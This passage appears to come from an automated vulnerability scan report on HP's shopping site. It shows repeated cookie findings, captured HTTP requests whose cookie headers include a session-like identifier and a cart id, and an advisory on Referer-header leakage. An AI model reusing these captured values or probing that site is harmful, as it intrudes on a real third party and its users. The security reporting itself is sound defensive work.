HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /webapp/shopping/print_supp_acc_landing.do HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /webapp/shopping/store_access.do HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /webapp/shopping/supplies_category.do HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /webapp/shopping/topRatedLanding.do HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.